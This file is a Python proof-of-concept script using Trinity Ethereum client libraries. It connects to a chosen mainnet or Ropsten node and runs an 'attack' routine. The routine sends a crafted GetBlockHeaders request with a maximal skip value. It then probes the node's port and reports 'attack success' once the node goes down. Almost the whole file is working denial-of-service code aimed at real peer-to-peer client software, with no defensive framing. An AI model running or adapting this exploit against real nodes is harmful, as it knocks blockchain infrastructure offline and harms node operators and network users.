import argparse
import asyncio
import logging
import signal
import socket
import os
from typing import (
    cast,
    Type,
    Union,
)

from eth.chains.mainnet import MainnetChain, MAINNET_GENESIS_HEADER, MAINNET_VM_CONFIGURATION
from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
from eth.db.atomic import AtomicDB
from eth.tools.logging import TRACE_LEVEL_NUM

from p2p import ecies
from p2p.kademlia import Node
from eth_utils import decode_hex

from trinity.protocol.common.context import ChainContext
from trinity.protocol.eth.peer import ETHPeer, ETHPeerPool
from trinity.protocol.les.peer import LESPeer, LESPeerPool
from trinity.protocol.les.commands import GetBlockHeadersQuery, GetBlockHeaders
from tests.trinity.core.integration_test_helpers import FakeAsyncHeaderDB, connect_to_peers_loop


def main() -> None:
    logging.basicConfig(level=TRACE_LEVEL_NUM, format='%(asctime)s %(levelname)s: %(message)s')

    parser = argparse.ArgumentParser()
    parser.add_argument('--enode', type=str, help="The enode we should connect to", required=True)
    parser.add_argument('--mainnet', action='store_true')
    parser.add_argument('--light', action='store_true', help="Connect as a light node")
    args = parser.parse_args()

    peer_class: Union[Type[ETHPeer], Type[LESPeer]]
    pool_class: Union[Type[ETHPeerPool], Type[LESPeerPool]]
    ip, port = args.enode.split('@')[1].split(':')
    if args.light:
        peer_class = LESPeer
        pool_class = LESPeerPool
    else:
        peer_class = ETHPeer
        pool_class = ETHPeerPool

    if args.mainnet:
        network_id = MainnetChain.network_id
        vm_config = MAINNET_VM_CONFIGURATION
        genesis = MAINNET_GENESIS_HEADER
    else:
        network_id = RopstenChain.network_id
        vm_config = ROPSTEN_VM_CONFIGURATION
        genesis = ROPSTEN_GENESIS_HEADER

    headerdb = FakeAsyncHeaderDB(AtomicDB())
    headerdb.persist_header(genesis)
    loop = asyncio.get_event_loop()
    nodes = [Node.from_uri(args.enode)]

    context = ChainContext(
        headerdb=headerdb,
        network_id=network_id,
        vm_configuration=vm_config,
    )
    peer_pool = pool_class(
        privkey=ecies.generate_privkey(),
        context=context,
    )

    asyncio.ensure_future(peer_pool.run())
    peer_pool.run_task(connect_to_peers_loop(peer_pool, nodes))


    def port_probe(ip,port):
        try:
            TCP_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            TCP_sock.settimeout(1)
            result = TCP_sock.connect_ex((ip, int(port)))
            if result == 0:
                return True
            else:
                return False
                TCP_sock.close()
        except socket.error as e:
            return False


    async def attack() -> None:
        nonlocal peer_pool
        peer_pool.logger.info('Attacking...')
        while not peer_pool.connected_nodes:
            peer_pool.logger.info("Waiting for peer connection...")
            await asyncio.sleep(1)
        peer = peer_pool.highest_td_peer
        if peer_class == ETHPeer:
            block_hash = '0xd4e56740f876aef8c010b86a40d5f56745a118d0906a34e69aec8c0db1cb8fa3'
            headers = await cast(ETHPeer, peer).requests.get_block_headers(peer.sub_proto.cmd_id_offset, max_headers=100)
            hashes = tuple(header.hash for header in headers)
            peer = cast(ETHPeer, peer)
        else:
            block_hash = '0x41941023680923e0fe4d74a34bdac8141f2540e3ae90623718e47d66d1ca4a2d'
            headers = await cast(ETHPeer, peer).requests.get_block_headers(peer.sub_proto.cmd_id_offset, max_headers=100)
            hashes = tuple(header.hash for header in headers)
            peer = cast(LESPeer, peer)
            request_id = 1
        cmd = GetBlockHeaders(peer.sub_proto.cmd_id_offset)
        data = {
            'request_id': 1,
            'query': GetBlockHeadersQuery(decode_hex(block_hash), 1, 0xffffffffffffffff, False),
        }
        header, body = cmd.encode(data)
        peer.sub_proto.send(header, body)
        await asyncio.sleep(1)
        result = port_probe(ip, port)
        if not result:
            peer_pool.logger.info('The port is closed, attack success ...')
            os.kill(os.getpid(), signal.SIGINT)


    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint() -> None:
        await sigint_received.wait()
        await peer_pool.cancel()
        loop.stop()

    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(attack())
    loop.run_forever()
    loop.close()


if __name__ == "__main__":
    main()